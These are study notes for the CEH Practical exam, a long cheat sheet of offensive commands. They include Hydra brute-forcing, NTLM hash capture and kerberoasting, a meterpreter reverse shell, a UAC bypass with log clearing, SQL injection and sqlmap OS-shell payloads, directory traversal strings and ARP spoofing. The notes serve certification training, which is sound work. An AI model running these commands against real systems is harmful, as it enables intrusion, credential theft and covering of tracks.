

CEH PRACTICAL NOTES

–Pratik Karan

@<https://www.linkedin.com/in/pratik-karan-310b06214/>

Footprinting and Reconnaissance

ping www.evil.com (Find ip)

ping www.certifiedhacker.com -f -l 1500(Finding the maximum frame size on the network)(for not perfect packet siz shows "reached the limit")

ping www.certifiedhacker.com -i 3(Investigate the TTL)-i parameter means wait time(or hops)

On Windows: (max hops 30)

tracert www.certifiedhacker.com (trace the route followed by the packet)

tracert -h 5 www.certifiedhacker.com (takes max hops 5 to reach the destination)

ping www.certifiedhacker.com -i 2 -n 1(check the life span of the packet)

Repeat this and increase the TTL value until reach the IP address from www.certifiedhacker.com that we trace routed before.

ping www.certifiedhacker.com -i 19 -n 1

Done! These results implies when you set the TTL to 19(in this case) the reply is received from destination host (162.241.216.11). Keep in mind that the output will be similar to the trace route results.

Make a note of all the IP addresses from which you receive a reply.

Netdiscover (to identify the devices & its ips in a network) / Angry Ip Scanner

>netdiscover

--> netdiscover -i eth0 -->This will help me to get the machines available on our network.

--> netdiscover -r 192.168.1.0/24

--> netdiscover -i eth0 -P -r 192.168.1.0/24

Website Mirroring:

Tool:

wget:#wget --mirror --convert-links --adjust-extension --no-parent --page-requisites google.com

OR

#wget -mkEpng google.com (shortform)

httrack:#httrack #give-name-to-project #set-output-dir #give-the-website-url
#select-mirror-with-wizard #proxy-hit-enter #Wilcards-enter
#Run-yes-togo.

dnsdumpr for DNS Informations like A,MX,CNAME records.:<https://dnsdumpster.com>

GOogle dns for DNS Informations like A,MX,CNAME records.:<https://dns.google.com>
(recommended)

nslookup command:

> type=a

> www.certifiedhacker.com

To obtain the Authoritative name server, set the type to CNAME record and query the target:

>set type=cname

>certifiedhacker.com

Final analysis:

Document all the IP addresses

Reply request IP addresses

Information about TTL's

DNS server names and other DNS information.

Maltego:

-->Open maltego and do all details verification and make account with Community edition

-->Drag and drop any entity like domain or Ip you have
to further enumeration by right clicking on that entity.

-->Maltego Domain Information:

drag n drop domain entity

double click to change the name of the domain

right click for more further options for

Information gathering like:

Phone

numbers,Address,DNS information(records),Ip address,location,emails..etc

osintframework.com

Metasploit:

#service postgresql start

#msfconsole

#>db_status (see if you get postgresql selected, no connection message,then
database is not initiated,restart again.For succefull connection shows "postgreql connected
to msf")

#>msfdb init

#>service postgresql restart

#>db_status

#>nmap -Pn -sS -A -oX Test 10.10.10.0/24

#>db_import Test

#>hosts

#>db_nmap -sS -A 10.10.10.16

#>services

#>use scanner/smb/smb_version

```
#>set RHOSTS 10.10.10.8-16
#>set THREADS 100
#>run
#>hosts
#>os_flavor
```

Harvester

```
>theHarvester -d certifiedhacker.com -l 300 -b all
```

theHarvester may return too much information to go through, for better readability, you can write the output to an HTML file:

```
>theHarvester -d certifiedhacker.com -l 300 -b all -f report
```

Scanning Networks(scanning ip,ports,live hosts and their ports>OS>system architecture>services of host>Finally Vulnerabilities on Live Host

Use Ping Command to Know If Ip/Host Is Live/Active Or not

```
ping google.com
```

```
ping 192.168.0.1
```

-->Tools:

Angry Ip Scanner

-----Advance Scan

```
>>nmap 192.168.0.1 > /path/of/file.txt (save output in file) (>> : for appending)
```

```
>>nmap -oG - 192.168.0.1 > /path/of/file.txt (grepable output) (no recom)
```

```
>>nmap -Pn 192.168.0.1 (No Ping,Stealthy,fast)
```

```
>>nmap 192.168.0.0-255 (range scan)
```

```
>>nmap 192.168.0.1/24
```

#With Scripts:

```
>>nmap -sS --script=discovery 192.168.86.0/24
```

```
>>nmap --script-help=http-waf-detect.nse
```

```
>>nmap -sS --script "smb2*" -T 4 192.168.86.32
```

-----Firewall Bypass

```
>>nmap -f 192.168.0.1 (packet fragmentation:small packets)
```

```
>>nmap --mtu 16 192.168.0.1 (custom packet fragmentation,16 bits)
```

```
>>nmap -D RND:16 192.168.0.1 (Take Random IP Source To Bypass the Wall,no log)
```

```
>>nmap -S 192.168.0.100 -e eth0 192.168.0.1 (Take Custom Ip Source,no log)
```

```
>>nmap -sl 192.168.0.100 -e eth0 192.168.0.1 (Zombie Host,Take victim IP as Your Souce IP,Note Victim Ip should be alive)
```

```
>>nmap --source-port 65 192.168.0.1 (Change our Source Port to Bypass Wall)
```

```
>>nmap -sT -PN --spoof-mac 0 192.168.0.1 (Random Mac Spoofing)
```

Scan all opened ports with more details

```
nmap -p443,80,53,135,8080,8888 -A -O -sV -sC -T4 -oN nmapOutput 10.10.10.10
```

[<https://www.stationx.net/nmap-cheat-sheet/>]

```
nmap -Pn -sS -A -oX Test 10.10.10.0/24
```

```
nmap -sV -sC -oA nmap.txt 10.10.10.x
```

```
nmap -sC -sV -v -oN nmap.txt 10.10.10.x
```

```
nmap -sS -P0 -A -v 10.10.10.x
```

```
masscan -e tun0 -pi-65535 --rate=1000
```

```
nmap -sU -sV -A -T4 -v -oN udp.txt 10.10.10.x
```

Scan all ports

```
- nmap -p- 10.10.10.10
```

<https://infosecsanyam.medium.com/nmap-cheat-sheet-nmap-scanning-types-scanning-commands-nse-scripts-868a7bd7f692>

Port Scanning using Hping3:

```
>hping3 --scan 1-3000 -S 10.10.10.10
```

--scan parameter defines the port range to scan and -S represents SYN flag.

Pinging the target using HPing3:

```
>hping3 -c 3 10.10.10.10
```

-c 3 means that we only want to send three packets to the target machine.

UDP Packet Crafting

```
>hping3 10.10.10.10 --udp --rand-source --data 500
```

TCP SYN request

```
>hping3 -S 10.10.10.10 -p 80 -c 5
```

-S will perform TCP SYN request on the target machine, -p will pass the traffic through which port is assigned, and -c is the count of the packets sent to the Target machine.

HPing flood

```
>hping3 10.10.10.10 --flood
```

Banner Grabbing(O.S Fingerprints,software version..etc):

Tools:

ID Serve Software (grc.com) -Enter the Domain Name It Will Fetch Out the Banner

Netcraft Extension

sitereport.netcraft.com (Ctrl+f : Server)

Using Netcat:

1. connect to vulnerable machine using:# nc -vn 192.168.0.101 80 Hit Go

2. Now It will get connect and we have to Generate the Error so that server will

Show up the Banner

3. Type : HTTP/1.0 200 Ok and Enter....It will Show error With Banner Disclosure.

```
># nc -vn 192.168.0.101 22 (give version of ssh)
```

```
># nc -vn 192.168.0.101 21 (give version of ftp)
```

In This way we can grab any service Verison/Banner just by changing the port using

netcat

Scanning For Vulnerabilities(Network Vulnerabilities,Open Ports and running Services,application and services Vulnerabilities,application and services configuration errors):

Tools:

Nessus

Nikto

nikto -h vulnweb.com

nikto -h google.com -o nikto_scan -F txt -p 80

Wpscan

-->Nmap

See all Scripts Here:

#ls -l /usr/share/nmap/scripts

See particular scripts by your need

#ls -l /usr/share/nmap/scripts | grep ssh

#ls -l /usr/share/nmap/scripts | grep ftp

#ls -l /usr/share/nmap/scripts | grep brute ...etc

Run all Scripts on Particular IP as:

#nmap -sC 192.168.75.133

Run particular Script on Particular IP as:

#nmap --script=ssh-brute.nse 192.168.75.133

-->WPSCAN(Wordpress vul scanner)

#wpscan

#wpscan --url http://192.168.1.7/wordpress/

Enumerate Users:

#wpscan --url http://192.168.1.7/wordpress/ --enumerate u

>wpscan --url https://10.10.10.10/ --enumerate u

Password Bruteforcing For Particular USername:

#wpscan --url http://192.168.1.7/wordpress/ -U admin -P /path/wordlist.txt -o /path/output.txt
-f txt or json

User Enumeration : wpscan --url https://example/ --enumerate u

Bruteforce: wpscan --url https://example/ --passwords wordlist.txt --usernames samson

>wpscan --url http://10.10.10.10 -t 50 -U admin -P rockyou.txt

Wordpress enumerate user using metasploit:

--> use auxiliary/scanner/http/wordpress_login_enum

--> FILE_PASS

--> RHOST (Target)

--> RPORT

--> TARGETURI (URL) - [http://[IP Address of Windows Server 2016]:8080/CEH]

--> Username

Module 04: Enumeration(Scanning For more information/increasing attack surface with
usefull resources/ avoiding the false positives)

-
- >User Name And User Groups
 - >Default passwords
 - >Lists of computers,their operating systems and ports
 - >Machine names,network resources and services
 - >Lists of shares on individual hosts on the network
 - >Policies and passwords

TOol:

GLobal Network Inventory (most recomm,show network and sytem info)

Super Scan

Hyena

NetBIOS enumerater

Attacker uses this info such as enumerated usernames and perform pass guessing tech to crack user acc

SoftPerfect Network Scanner

if the selected host is not t=secure we may able to perform activities such as sending mess,shutting down a computer remotely..etc

Nmap-Zenmap GUI

After scanning Look for Ports like 139,445,161..etc or netbios,snmp names ..etc

Nmap:

- nmap -sP 10.10.10.0/24 (Ping Sweep)(scan all the hosts on the network range,starts displaying all host that r up and device info)

- nmap -sS 10.10.10.12 (Stealthy SYN scan and lists all open ports on that ip)

- nmap -sSV -O 10.10.10.12 (stealth SYN scan with version detection/OS Detection)

- nmap -sSV -O 10.10.10.12 -oN output.txt (save all result in a file.txt)

attacker might find vuln associated with that particular app and exploit to take access to target machine

NetBIOS Enumeration:

nbtstat -A 191.168.0.1 (on windows,Own Ip to get Netbios Table containing netbios name)

SMB Enumeration:

smbclient -L 192.168.0.1 (see if you have direct access through anonymous login)

smbclient //192.18.0.1/temp

-->With Nmap:

nmap -p445 -A 192.168.0.1

-->Nmap Scripts:

ls /usr/share/nmap/scripts | grep smb

nmap --script=smb-enum-users 192.168.0.1

nmap --script=smb-enum-shares 192.168.0.1

SNMP Enumeration::

```

-nmap -sS -A 10.10.10.12 (look for snmp open port,if found run this following on that
particular port)
-nmap -sU -p 161 10.10.10.12 (port 161 snmp open found)
-nmap -sU -p 161 --script=snmp-brute 10.10.10.12 (running script on 161 snmp port for
extracting community string from the target machine with valid credentials)
-Now,run metasploit > msfconsole
> use auxiliary/scanner/snmp/snmp_login
>show options > set RHOSTS 10.10.10.12
>exploit ||Login success||
-Now load > use auxiliary/scanner/snmp/snmp_enum
>show options > set RHOSTS 10.10.10.12
>exploit ||DONE||

```

LDAP Enumeration::

Tool:

Active Directory Explorer(ADEplorer)

SMTP Enumeration:

```

>msfconsole
>search smtp
>use auxiliary/scanner/smtp/smtp_enum (user enumeration)
>set RHOSTS <-target-ip->
>exploit

```

****SMTP Enumeration:**

with nmap scrips:

```

ls -al /usr/share/namp/scripts/ | grep -e "smtp"
sudo nmap -p25 --scripts smtp-commands 192.168.0.1

```

With Metasploit:

```

>msfconsole
>search smtp (Look for smtp_enum)
>use auxiliary/scanner/smtp/smtp_enum
>show options
>set RHOSTS <-ip->
>exploit (Gives all info like banner,users)

```

****DNS enumeration**

(Zone tranfer info,locating dns server and its records)

(DNS server names,hostnames,machine names,user names,IP Adresses,etc)

Tools:

--With host command

host -t ns zonetransfer.me (gives avaiable name server)

host -l zonetransfer.me nsztm1.digi.ninja. (pretending as secondary dns server
nsztm1.digi.ninja to fetch the dns info file)(give zone tranfer file)

--With nslookups

nslookup google.com

nslookup (give another interactive cmd and type following cmds for dns info of that particular domain(google))

>set type=a >set type=cname >set type=ns >set type=mx

>google >google >google >google

--On windows (Recommended)

>>nslookup (Run this on cmd alternative interactive cmd will open)

>server nshtml.digi.ninja (give the secondary dns server which we want to use as spoof for primary)

>set type=any (set info type to any means all info will ge fetched)

>ls -d zonetransfer.me (Give the domain name which dns server info you want) (SOA = Start of authority)

--With Dig (Most recommended)

dig google.com

dig google.com -t ns (name server info)

dig google.com -t ns +short

dig google.com -t mx

dig google.com -t ns +short

dig google.com -t aaaa

---Zone transfer using dig

>>dig axfr @nshtml.digi.ninja. zonetransfer.me

****NTP Enumeration**

(Network time protocol,port 123,)

Vulnerability Analysis:

>nikto -h http://www.goodshopping.com -Tuning 1

>Nessus runs on https://localhost:8834

Username: admin

Password: password

Nessus -> Policies > Advanced scan

Discovery > Host Discovery > Turn off Ping the remote host

Port Scanning > check the Verify open TCP ports found by local port enumerators

Advanced

Max number of TCP sessions per host and = unlimited

Max number of TCP sessions per scan = unlimited

Credentials > Windows > Username & Password

Save policy > Create new scan > User Defined

Enter name & Target

Schedule tab > Turn of Enabled

Hit launch from drop-down of save.

System Hacking

--->Password Cracking:

cracking hash of password: crackstation.com

With HASHCAT:

hashcat.exe -m hash.txt rokyou.txt -O

hashcat --help

>>hashcat -m 0 -a 3 /path/of/hash.txt --force

(-m=0 means it will crack for md5 hash, -a=3 means it will use bruteforcing method to crack the md5 hash, --force=ignores the warnings)

>>hashcat -m 0 -a 0 /path/of/hash.txt /path/of/wordlist.txt --force

(-m=0 means it will crack for md5 hash, -a=0 means it will use wordlist method to crack the md5)

hashcat -m 0 -a 0 -o cracked.txt target_hashes.txt /usr/share/wordlists/rockyou.txt

-m 0 designates the type of hash we are cracking (MD5);

-a 0 designates a dictionary attack;

-o cracked.txt is the output file for the cracked passwords;

-target_hashes.txt is our input file of hashes;

-/usr/share/wordlists/rockyou.txt = Path to the wordlist

m - 0:MD5

100:SHA1

1400:SHA256

1700:SHA512

900:MD4

3200:BCRYPT

Also Important to check hash

#hash-identifier

#hash -m [file]

Crack NTLMv2

--> hashcat -m 5600 ntlmhash.txt rockyou.txt --force

--> hashcat.exe -m hash.txt rokyou.txt -O

--force = Running utilizing CPU processing

-O = Process more faster

With John The Ripper(for weak pass & hashes only to crack:

Identify the Hash Type(MD5,SHA..etc) : https://hashes.com/en/tools/hash_identifier

```
john --format=raw-md5 --wordlist=/rockyou.txt hash1.txt
```

```
john --format=raw-sha1 --wordlist=/rockyou.txt hash1.txt
```

```
john --format=raw-md5 password.txt [ To change password to plain text ]
```

or

```
>>jhon hashed.txt
```

```
>>jhon
```

```
>>man jhon
```

Extract hashed from the zip and rar files:

```
>>zip2jhon test.zip > hashed.txt
```

```
>>rar2jhon test.rar > hashed.txt
```

Now main command for Cracking passwords from hashes:

```
>>jhon hashed.txt (Cracks Succesfully)
```

For cracking passwords of linux users:

```
>>jhon /etc/shadow
```

```
john /usr/share/responder/logs/ntlm.txt
```

Single crack mode:

```
john --single --format=raw-sha1 crack.txt
```

Crack the password in file using wordlist:

```
john --wordlist=/usr/share/john/password.lst  
--format=raw-sha1 crack.txt
```

 (Crack.txt here contains the hashes)

Cracking service credentials like ssh

1. First have to convert the hash file to JOHN format :

```
ssh2john /home/text/.ssh/id_rsa >  
crack.txt
```

 (Now we need to crack this crack.txt file with John The Ripper)

2.

```
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
```

To crack ZIP

1.

```
zip2john file.zip > crack.txt
```

2.

```
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
```

Notes:

--wordlist can be written as -w also

```
john crack.txt --wordlist=rockyou.txt --format=Raw-SHA256
```

With Hydra:

-l Single Username,-L Username list,-p Password,-P Password list,-t Limit concurrent connections,-V Verbose output,-f Stop on correct login,-s Port

```
hydra -L /root/username.txt -x 3:3:1 attack.domain.com http-get-form  
"/brute4.php:login=^USER^&pin=^PASS^:Denied"
```

FOR FTP

If username is already given = `hydra -l samson -P -P /usr/share/wordlists/rockyou.txt 192.168.1.101 ftp`

If password is given and needs to find username = `hydra -L user.txt -p 123 192.168.1.101 ftp`

If both username and password is not given = `hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.101 ftp`

FTP Bruteforce with Hydra

```
hydra -L /root/Desktop/Wordlists/Usernames.txt -P /root/Desktop/Wordlists/Passwords.txt  
ftp://10.10.10.11
```

FOR SSH

```
hydra -L /usr/share/wordlists.rockyou.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.101 -t  
4 ssh
```

FOR HTTP FORM

```
hydra -L [user] -P [password] [IP] http-post-form  
"/login:username=^USER^&password=^PASS^:F=incorrect" -V  
hydra -l molly -P rockyou.txt 10.10.254.17 http-post-form  
"/login:username=^USER^&password=^PASS^:Your username or password is incorrect."
```

```
hydra -l root -P passwords.txt [-t 32] ftp [  
https://securitytutorials.co.uk/brute-forcing-passwords-with-thc-hydra/]  
hydra -L usernames.txt -P pass.txt mysql
```

```
--> hydra -l root -P passwords.txt [-t 32] <IP> ftp  
--> hydra -L usernames.txt -P pass.txt <IP> mysql  
--> hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V  
  
--> hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>  
--> hydra -t 4 -V -f -l administrator -P rockyou.txt rdp://192.168.34.16  
  
--> hydra -P common-snmp-community-strings.txt target.com snmp  
--> hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1  
--> hydra -l root -P passwords.txt <IP> ssh
```

```
hydra -l root -P passwords.txt [-t 32] <IP> ftp  
hydra -L usernames.txt -P pass.txt <IP> mysql  
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V  
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>  
hydra -P common-snmp-community-strings.txt target.com snmp  
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
```

```
hydra -l root -P passwords.txt <IP> ssh
```

```
hydra -L usernames.txt -P passwords.txt ftp://10.10.10.10
```

Active Directory Attack Tool:

(In kali)Responder(LLMNR NBTNS Poisoning):

Location: >cd /usr/share/responder (in this dir u will have responder.py file)

```
#python Responder.py
```

```
#python Responder.py -l eth0 -rdwv (works as listener and capture the hashes and dump it on the screen and save as hash.txt)
```

Simultaneously Request to the Attacker Ip to get hash quickly on search bar in file sys

```
\\<attacker-ip>
```

Crack that hash and Get the password out of it

```
#hashcat -m 5600 hash.txt rockyou.txt --force -O --show
```

or

```
john ntlm.txt
```

and Login to Domain controller.

(In kali)GetUserSPN(kerberoasting-service attack):

> locate GetUser

Location: >cd /usr/share/doc/python3-impacket/examples/GetUserSPNs.py (in this dir u will have GetUserSPNs.py file)

Format:

```
#python GetUserSPNs.py <domain-name>/<user-name>:<user-password> -dc-ip
```

```
<ip-of-domain-controller> -request
```

for ex:

```
#python GetUserSPNs.py BITTENTECH.local/anshb:Password123 -dc-ip 192.168.75.136
```

```
-request
```

This will Dump the Service Ticket Here in hash format

Now crack the hash With Hashcat and get the password(if weak):

```
#hashcat -m 13100 hash.txt rockyou.txt --force -O
```

Dumping and cracking SAM Hashes

>Open cmd in admin mode and run(on windows)

```
>wmic useraccount get name,sid
```

it will show all users and their id's

>use this tool to dump the users hash:<https://github.com/Seabreg/pwdump>

>locate to pwdump7 Folder and locate the Folder in cmd

```
>pwdump7.exe
```

it will dump all hash from SAM file

Save this hash and pass to Cracking Tool(ophcrack) to crack the Hashs and Know th Actual Passwords

Metasploit/searchsploit:

```
>service postgresql start
```

```
>msfconsole
```

> search windows/smb/netbios (use to search for any payload)
or > show exploits > show payloads ..etc

>use exploit/multi/handler
>set payload windows/meterpreter/reverse_tcp
>set LHOSTS 192.168.0.1(own/attacker-ip)
>run

Searchsploit
>searchsploit -u (update)
>ls /usr/share/exploitdb (local database for exploit)
>searchsploit ftp / >searchsploit windows
>searchsploit php 5.3.1 (with version)

To Start Your Server To Host the file locally:
python -m SimpleHTTPServer 80

MSFVENOM(make poayload)
msfvenom -p <-specify/the/payload-> LHOST=<own-IP> LPORT=4444 -f exe -o payload.exe
(formate)

DLL Hijacking:

Windows Privilege Escalation:

meterpreter>systeminfo
meterpreter>background (runs in bg)
meterpreter>session -i <session-num-here> (again back to meterpreter>
session)

meterpreter>getuid / ls
meterpreter>download anyfile.txt
meterpreter>upload <select-any-file>.txt
meterpreter>ipconfig
meterpreter>hashdump (sam hash dumping)
meterpreter>netstat(knowing about firewalls)
meterpreter>shell (get windows shell)
meterpreter>net user (get all users on windows)

Privilege Escalation:

meterpreter>getsystem
or
meterpreter>background (put current session in bg)
>search uac
>use exploit/windows/local/bypassuac (exploit selected)
>show options
>show targets
>set target 0(for 32 bits)
>set SESSION <sess-num-here> (put the session number that u
putted on bg previously)
>show options

>run (after successfull exploitation and gaining Highest privileges,it will create new session for that highest privilege in bg)

>session -i <new-sess-num-here-for-privileged-user>

>getuid

>getsystem (Done)

>getuid

>clearev (to clear all tracks)

Linux Privilege Escalation:

Steganography:

Image,Text,Audio,video

Tools:

QuickStego (Image)(Hides text in image,.bmp extension and Size of image gets increase)basic

DeepSound (Audio) (Hides text file inside audio,.wav,.flac,.ape,.mp3 extensions)

omniHide (paid,only free trail)(All in one)(in free trail only image hiding is available)

Steghide (Image/Audio)

Stegsnow (Hiding Text Inside A Text)

>get one text file(hide.txt) for hiding our text in it

>stegsnow -C -m "This is hidden message" -p 1234 hide.txt newhide.txt (The text is now hidden in newhide.txt)(Hidding)

>stegsnow -C -p 1234 newhide.txt (Unhidding)

Snow (White space steganography)

>snow -C -m "My Hidding text" -p "Hidding password" hack.txt hacked.txt (hidding)

>snow -C -p "Hidding password" hacked.txt (unhidding)

Openstego

Session Hijacking

Predictable session token

Session Sniffing

Client-side attacks (XSS, malicious JavaScript Codes, Trojans, etc)

Man-in-the-middle attack

Man-in-the-browser attack

Client-side Session ID's stealing:

XSS Javacript Trojans

CSRF

Replay Attack :Auth Token not gets expires,which can be used for replay attack so that server authenticate the attacker also

Session Fixation

TCP/IP Hijacking

Browser Setup:

Chrome:Go to Settings:Scroll Down:Click on Advance Options:Click on System:Open Proxy Settings:Internet Properties Pop-out:Click on Connections:click on LAN Settings:LAN Settings pop-up : click on box of use proxy server...:In Address put attackers Ip and 8080 port:click OK:click Apply:OK

Sniffing

-MAC/CAM Flooding

Tool: Macof (#macof / #macof -i eth0)(on kali)

MAC Flooding involves flooding of CAM table with fake MAC address and IP Pairs until it is full

Switch then acts as a hub by broadcasting packets to all machines on the network and attackers can sniff the traffic easily

-DNS Poisoning/Spoofing

-ARP Poisoning

Flooding the arp table to make Switch to set itself to forwarding mode in which Switch will broadcasts every request he gets.

In This way Attacker sniff the packet and becomes the Man in Middle Between Switch and user.

-->Tools:

-->Step1:#arp spoof -i eth0 -t <-victim-ip> <-gateway-ip> (saying to the victim that i'm the gateway and poisoning the victim table with attackers mac)

-->Step2:#arp spoof -i eth0 -t <gateway-ip> <victim-ip> (saying to gateway that i'm the user and poisoning the gateways arp table with attackers mac)

-->Ettercap (recommended)

-DHCP Attacks/DHCP Starvation Attack:

this is a dos attack on dhcp servers where attacker broadcasts forget DHCP requests and tries to lease all the DHCP addresses available in the DHCP scope,as result legitimate user is unable to obtain or renew an IP address requested via DHCP.

-Switch Port Stealing
-Spoofing Attack

Mac Spoofing with macchanger:

```
#macchanger -s eth0 (shows current and permanent mac address)
#macchanger -e eth0 (changes mac randomly)
#macchanger -a eth0 (changes mac completely with vendor)
#macchanger -p eth0 (restore the previous or to original one)
```

http.request.method == "POST" -> Wireshark filter for filtering HTTP POST request

To find DOS (SYN and ACK) : tcp.flags.syn == 1 , tcp.flags.syn == 1 and tcp.flags.ack == 0

To find passwords : http.request.method == POST

More reference: <https://www.comparitech.com/net-admin/wireshark-cheat-sheet/>

To find DOS: Look for Red and Black packets with around 1-2 simple packets in between and then pick any packet and check the Source and Destination IP with port(As per question)

<https://ismailtasdelen.medium.com/wireshark-cheat-sheet-43ebca1fbfa7>

Protocols Susceptible

Some of the protocols that are vulnerable to sniffing attacks.

IMAP, POP3, NNTP and HTTP all send over clear text data

SMTP is sent in plain text and is viewable over the wire. SMTP v3 limits the information you can get, but you can still see it.

FTP sends user ID and password in clear text

TFTP passes everything in clear text

TCP shows sequence numbers (usable in session hijacking)

TCP and UCP show open ports

IP shows source and destination addresses

ARP

Resolves IP address to a MAC address

Packets are ARP_REQUEST and ARP_REPLY

Commands

arp -a displays current ARP cache

arp -d * clears ARP cache

Wireshark filters:

!(arp or icmp or dns)

Filters out the "noise" from ARP, DNS and ICMP requests

! - Clears out the protocols for better inspection

tcp.port == 23

Look for specific ports using tcp.port

ip.addr == 10.0.0.165

Look for specific IP address

ip.addr == 172.17.15.12 && tcp.port == 23

Displays telnet packets containing that IP

ip.src == 10.0.0.224 && ip.dst == 10.0.0.156

See all packets exchanged from IP source to destination IP

http.request

Displays HTTP GET requests

tcp contains string

Displays TCP segments that contain the word "string"

tcp.flags==0x16

Filters TCP requests with ACK flag set

Web Server Hacking:

Directory Traversal:

We are able to access any sensitive files on the web server.

Look the urls and GET requests Properly,if they are fetching some file from the web server.

https://test.com/show.app?view=oldarchive.html HTTP/1.1

localhost/dt_lab/language.php?lang=en.txt

https://test.com/show.app?view=../../../../Windows/system.ini HTTP/1.1

localhost/dt_lab/language.php?lang=../../../../en.txt (\ --> for windows)

BYpasses:

....//....//....//etc/passwd

encode / double-encode

../../../../etc/passwd%00.jpg

Directory Listing:(absolute path:/etc/passwd , relative path: ../../../../etc.passwd)

index of /images

This occurs due to Index file unavaible.Hence it list out all the file which are in its root directory.We cannot get out of the root directory.

CRLF Injection:

Adding Headers in request.\r\n

see if your user input is getting reflected in response.

add your crlf payload at that input field.

web cache posining:

look for unkeyed header & insert the payload in that header.

Capture the caching url with burp,see if the content is getting cached by

X-cache:Hit/miss header in response.

Add X-Forwarded-Host: attacker.com in that caching request and see if attacker.com gets reflected in response.Success.

Now add Our XSS Payload in that unkeyed Header and hit go.Done.

SSH Bruteforce Attack:

port 22 TCP encrypted

Tools:-->nmap/metasploit

hydra -L Useraname.txt -P Password.txt ftp://10.10.10.10

Hacking Web Applications

Hidden Field Manipulation/Parameter Tampering :

Find "type"="hidden" by inspecting and Change the "value"= parameter to do successfull manipulation

info disclose:

phpinfo.php through comments

error messages(through url,,source code..etc)

robots.txt or dir listing(index of)

more sensitive files..

SQL:

GET/POST request injecting point,from address bar,from within app field and through queries and searches

can be also performe operation on bd include INSERT<SELCT<UPDATE<DELTE<DROP 'blah' or 1=1 --' AND Password=Springfield'

blah' UNION Select 0,username,password, 0 from users --

check fo SQL injection:

id= 1'

id= 1' or 1='1

id= 1' or 1=1#

SELECT first_name, last_name FROM users WHERE user_id = '\$id';

SELECT first_name, last_name FROM users WHERE user_id = '1' or 1='1';

SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1#';

check for Tables/Numbers of columns in current table(ORDER BY):

id= 1' ORDER BY 1# (checkking if 1 column is present or not)

id= 1' ORDER BY 1,2# (checkking if 2 column is present or not) ...do this till then you found error

Finding reflections of output

id= 1' UNION SELECT 1,2,3,4# (union is used to combine to query and run it simultaneously)
SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT 1,2,3,4#;

Extracting Sensitive Information:

Common commands: version(),user(),@@hostname(),database()
1' union select version(),2#
1' union select database(),2,3,4,5,6#

List Table names:

1' UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables#

List Columns:

1' UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns (for all tables listing)

1' UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='\$TABLE_NAMES\$'#(for particular table listing)

1' UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

1' UNION SELECT 1,column_name,id,emails,passwords,6,7 from information_schema.columns (fetch out all sensitive info at once)

SQLMAP:

SQLMAP Extract DBS

sqlmap -u "http://www.example.com/viewprofile.aspx?id=1" --cookie="cookies xxx" --dbs(gives database name)

Extract Tables

sqlmap -u "http://www.example.com/viewprofile.aspx?id=1" --cookie="cookies xxx" -D moviescope(database name) --tables(gives table name)

Extract Columns

sqlmap -u "http://www.example.com/viewprofile.aspx?id=1" --cookie="cookies xxx" -D moviescope -T User_Login(tables) --columns(gives column)

Fetch Information from the Column:

sqlmap -u "http://www.example.com/viewprofile.aspx?id=1" --cookie="cookies xxx" -D moviescope -T User_Login -C passwords(info in the col)

Dump Data

sqlmap -u "http://www.example.com/viewprofile.aspx?id=1" --cookie="cookies xxx" -D moviescope -T User_Login --dump()

OS Shell to execute commands

sqlmap -u "http://www.example.com/viewprofile.aspx?id=1" --cookie="cookies xxx" --os-shell Login bypass

blah' or 1=1 --

Insert data into DB from login

blah';insert into login values ('john','apple123');

Create database from login

blah';create database mydatabase;

Execute cmd from login

```
blah';exec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; --
```

URL = http://testphp.vulnweb.com/artists.php?artist=1

Find DBs = sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch

Result is DB name acuart

Find Tables = sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --table --batch

Result is table name users

Find columns = sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch

Dump table = sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch

Dump the DB = sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --dump-all --batch

Using cookies

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"

--cookie='JSESSIONID=09h76qoWC559GH1K7DSQHx' --random-agent --level=1 --risk=3 --dbs --batch

SQL Injection in login page enter blah' or 1=1-- as username and click login without entering the password

OS Shell = sqlmap -u 'url' --dbms=mysql --os-shell

SQL Shell = sqlmap -u 'url' --dbms=mysql --sql-shell

Lab1-Task2: Perform an SQL Injection Attack Against MSSQL to Extract Databases using sqlmap

Login a website

Inspect element

Dev tools->Console: document.cookie

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" --dbs

-u: Specify the target URL

--cookie: Specify the HTTP cookie header value

--dbs: Enumerate DBMS databases

Get a list of databases

Select a database to extract its tables

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" -D

moviescope --tables

-D: Specify the DBMS database to enumerate

--tables: Enumerate DBMS database tables

Get a list of tables

Select a column

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" -D

moviescope -T User_Login --dump

Get table data of this column

sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" --os-shell

Get the OS Shell

TASKLIST

Blind SQL:

<https://portswigger.net/web-security/sql-injection/cheat-sheet>

<https://portswigger.net/web-security/sql-injection/blind>

Don't Show any Error on screen

Cookie Vulnerable to Blind sql,

on successful execution shows "Welcome back" on the screen

On unsuccessful execution don't show "Welcome back" on the screen

Blind sql injection with conditional responses (password cracking)

Blind sql injection with time delay(for synchronous)

Blind sql injection with out-of-band interaction

Blind sql injection with out-of-band data exfiltration

OS Command Injection(Do portswigger labs):

<https://portswigger.net/web-security/os-command-injection>

